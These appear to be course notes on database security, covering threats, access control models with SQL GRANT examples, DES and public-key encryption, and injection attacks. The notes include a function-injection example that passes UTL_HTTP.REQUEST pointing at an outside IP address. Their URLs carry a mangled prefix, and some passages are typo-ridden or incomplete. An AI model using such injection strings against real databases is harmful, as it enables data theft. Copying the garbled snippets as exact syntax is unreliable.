DBMS-unit 5-database security
DBMS-unit 5-database security
Database Security
2. What is threat?
A threat is any situation, event or personnel that will adversely affect the database security and
smooth and efficient functioning of organization.
A threat may be caused by a situation or event involving a person, action or circumstance that is
likely to bring harm to organization
Exploitation of Vulnerabilities
Misconfigured Databases
Unmanaged Sensitive Data
Denial of Service
Security risk to Database System:
Security risks to database systems include, for example:
Unauthorized or unintended activity or misuse by authorized database users, database
administrators, or network/systems managers, or by unauthorized users or hackers
(e.g. inappropriate access to sensitive data, metadata or functions within databases, or inappropriate
changes to the database programs, structures or security configurations);
Malware infections causing incidents such as unauthorized access, leakage or disclosure of
personal or proprietary data, deletion of or damage to the data or programs, interruption or denial of
authorized access to the database, attacks on other systems and the unanticipated failure of database
services;
Overloads, performance constraints and capacity issues resulting in the inability of authorized
users to use databases as intended;
Physical damage to database servers caused by computer room fires or floods, overheating,
lightning, accidental liquid spills, static discharge, electronic breakdowns/equipment failures and
obsolescence;
Design flaws and programming bugs in databases and the associated programs and systems,
creating various security vulnerabilities (e.g. unauthorized privilege escalation), data
loss/corruption, performance degradation etc.;
Data corruption and/or loss caused by the entry of invalid data or commands, mistakes in
database or system administration processes, sabotage/criminal damage.
4. Discuss about the Access control mechanism and Cryptography methods to secure the
Database.
Access control mechanism
It’s all about user’s access to the database.
Types
Discretionary Access Control
Mandatory Access Control
Role based Access Control.
Discretionary Access Control
The typical method of enforcing discretionary access control in a database system is based on the
granting and revoking privileges
Types of Discretionary Privileges
The account level:
□At this level, the DBA specifies the particular privileges that each account holds independently of
the relations in the database.
□The privileges at the account level apply to the capabilities provided to the account itself and can
include
□The CREATE SCHEMA or CREATE TABLE privilege, to create a schema or base relation;
□The CREATE VIEW privilege;
□The ALTER privilege, to apply schema changes such adding or removing attributes from
relations;
□The DROP privilege, to delete relations or views;
□The MODIFY privilege, to insert, delete, or update tuples;
□The SELECT privilege, to retrieve information from the database by using a SELECT query.
The relation level (or table level):
□At this level, the DBA can control the privilege to access each individual relation or view in the
database.
□This includes base relations and virtual (view) relations.
□To control the granting and revoking of relation privileges, each relation R in a database is
assigned and owner account, which is typically the account that was used when the relation was
created in the first place.
□The owner of a relation is given all privileges on that relation.
□Suppose that the DBA creates four accounts A1, A2, A3, A4 and wants only A1 to be able to
create base relations. Then the DBA must issue the following
GRANT command in SQL
GRANT CREATETAB TO A1;
□In SQL2 the same effect can be accomplished by having the DBA issue a CREATE
SCHEMA command as follows:
CREATE SCHAMA EXAMPLE AUTHORIZATION A1;
□Suppose that A1 wants to allow A3 to retrieve information from either of the two tables and also
to be able to propagate the SELECT privilege to other accounts.
□A1 can issue the command:
GRANT SELECT ON EMPLOYEE, DEPARTMENT
TO A3 WITH GRANT OPTION;
Mandatory Access Control and Role-Based Access Control for Multilevel Security
□The discretionary access control techniques of granting and revoking privileges on relations have
traditionally been the main security mechanism for relational database systems.
□This is an all-or-nothing method:
□A user either has or does not have a certain privilege.
□In many applications, and additional security policy is needed that classifies data and users based
on security classes.
□This approach as mandatory access control would typically be combined with the discretionary
access control mechanisms.
□Typical security classes are top secret (TS), secret (S), confidential (C), and unclassified
(U), where TS is the highest level and U the lowest: TS ≥ S ≥ C ≥ U
□The commonly used model for multilevel security, known as the Bell-LaPadula model, classifies
each subject (user, account, and program) and object (relation, tuple, column, view, operation) into
one of the security classifications, T, S, C, or U:
□Clearance (classification) of a subject S as class(S) and to the classification of an object
O as class (O).
□Two restrictions are enforced on data access based on the subject/object classifications:
□Simple security property: A subject S is not allowed read access to an object O unless class(S) ≥
class (O).
□A subject S is not allowed to write an object O unless class(S) ≤ class(O). This known as the star
property (or * property).
Role-based access control
□Its basic notion is that permissions are associated with roles, and users are assigned to appropriate
roles.
□Roles can be created using the CREATE ROLE and DESTROY ROLE commands.
□The GRANT and REVOKE commands discussed under DAC can then be used to assign and
revoke privileges from roles.
Cryptography method to secure the database
□Encryption is a means of maintaining secure data in an insecure environment.
□Encryption consists of applying an encryption algorithm to data using some pre specified
encryption key.
□The resulting data has to be decrypted using a decryption key to recover the original data.
Data and Advanced Encryption Standards (DES)
□DES can provide end-to-end encryption on the channel between the sender A and receiver
B.
□DES algorithm is a careful and complex combination of two of the fundamental building
Blocks of encryption:
□Substitution and permutation (transposition).
□The DES algorithm derives its strength from repeated application of these two techniques for a
total of 16 cycles.
□Plaintext (the original form of the message) is encrypted as blocks of 64 bits.
Public Key Encryption
□Public key algorithms are based on mathematical functions rather than operations on bit patterns.
□They also involve the use of two separate keys
□In contrast to conventional encryption, which uses only one key.
□The use of two keys can have profound consequences in the areas of confidentiality, key
distribution, and authentication.
□The two keys used for public key encryption are referred to as the public key and the private key.
The essential steps are as follows:
□Each user generates a pair of keys to be used for the encryption and decryption of messages.
□Each user places one of the two keys in a public register or other accessible file. This is the public
key. The companion key is kept private (private key).
□If a sender wishes to send a private message to a receiver, the sender encrypts the message using
the receiver’s public key.
□When the receiver receives the message, he or she decrypts it using the receiver’s private key.
□No other recipient can decrypt the message because only the receiver knows his or her private key.
Digital Signatures:
□A digital signature is an example of using encryption techniques to provide authentication services
in e-commerce applications.
□A digital signature is a means of associating a mark unique to an individual with a body of text.
□The mark should be unforgettable, meaning that others should be able to check that the signature
does come from the originator.
□A digital signature consists of a string of symbols.
□Signature must be different for each use.
□This can be achieved by making each digital signature a function of the message that it is signing,
together with a time stamp.
□Public key techniques are the means creating digital signatures
SQL Injection
SQL injection is one of the most common threats to a database system. We will discuss it in detail
later in this section. Some of the other frequent attacks on databases are:
Unauthorized privilege escalation. This attack is characterized by an indi- vidual
attempting to elevate his or her privilege by attacking vulnerable points in the
database systems.
Privilege abuse. Whereas unauthorized privilege escalation is done by an
unauthorized user, this attack is performed by a privileged user. For exam- ple, an
administrator who is allowed to change student information can use this privilege
to update student grades without the instructor’s permission.
Denial of service. A denial of service (DOS) attack is an attempt to makeresources
unavailable to its intended users. It is a general attack category inwhich access to
network applications or data is denied to intended users by overflowing the buffer
or consuming resources.
Weak authentication. If the user authentication scheme is weak, an attacker can
impersonate the identity of a legitimate user by obtaining her login credentials.
As a result, the attacker who knows that ‘jake’ is a valid login of some user is able tolog into the
database system as ‘jake’ without knowing his password and is able todo everything that ‘jake’
may be authorized to do to the database system.
Code Injection. This type of attack attempts to add additional SQL statements or commands to
the existing SQL statement by exploiting a computer bug, which is caused by processing invalid
data. The attacker can inject or introduce code into a computer program to change the course of
execution. Code injection is a popular technique for system hacking or cracking to gain
information.
Function Call Injection. In this kind of attack, a database function or operating system function
call is inserted into a vulnerable SQL statement to manipulate the data or make a privileged
system call. For example, it is possible to exploit a func-tion that performs some aspect related to
network communication. In addition, functions that are contained in a customized database
package, or any custom data-base function, can be executed as part of an SQL query. In particular,
dynamicallycreated SQL queries (see Chapter 10) can be exploited since they are constructedat
runtime.
For example, the dual table is used in the FROM clause of SQL in Oracle when a userneeds to run
SQL that does not logically have a table name. To get today’s date, wecan use:
SELECT SYSDATE FROM dual;
The following example demonstrates that even the simplest SQL statements can bevulnerable.
SELECT TRANSLATE (‘user input’, ‘from_string’, ‘to_string’) FROM dual;
Here, TRANSLATE is used to replace a string of characters with another stringof characters.
The TRANSLATE function above will replace the characters of the ‘from_string’ with the characters
in the ‘to_string’ one by one. This means that thef will be replaced with the t, the r with the o, the
o with the _, and so on.
This type of SQL statement can be subjected to a function injection attack. Con- sider the
following example:
SELECT TRANSLATE (“ || UTL_HTTP.REQUEST (‘http://129.107.2.1/’) || ”,
‘98765432’, ‘9876’) FROM dual;
The user can input the string (“ || UTL_HTTP.REQUEST (‘http://129.107.2.1/’) ||”), where || is
the concatenate operator, thus requesting a page from a Web server. UTL_HTTP makes
Hypertext Transfer Protocol (HTTP) callouts from SQL. The REQUEST object takes a URL
(‘http://129.107.2.1/’ in this example) as a parame-ter, contacts that site, and returns the data
(typically HTML) obtained from that site. The attacker could manipulate the string he inputs, as
well as the URL, to include other functions and do other illegal operations. We just used a
dummy example to show conversion of ‘98765432’ to ‘9876’, but the user’s intent would beto
access the URL and get sensitive information. The attacker can then retrieve useful
information from the database server—located at the URL that is passed as a parameter—and
send it to the Web server (that calls the TRANSLATE function).
stmt.setString(1, employee_id);
stmt.setString(2, password);
Instead of embedding the user input into the statement, the input should be bound to a parameter.
In this example, the input ‘1’ is assigned (bound) to a bind variable ‘employee_id’ and input ‘2’
to the bind variable ‘password’ instead of directly pass-ing string parameters.
Filtering Input (Input Validation). This technique can be used to remove escapecharacters from
input strings by using the SQL Replace function. For example, thedelimiter single quote (‘) can
be replaced by two single quotes (‘’). Some SQL manipulation attacks can be prevented by using
this technique, since escape charac-ters can be used to inject manipulation attacks. However,
because there can be a large number of escape characters, this technique is not reliable.
Function Security. Database functions, both standard and custom, should be restricted, as they
can be exploited in the SQL function injection attacks.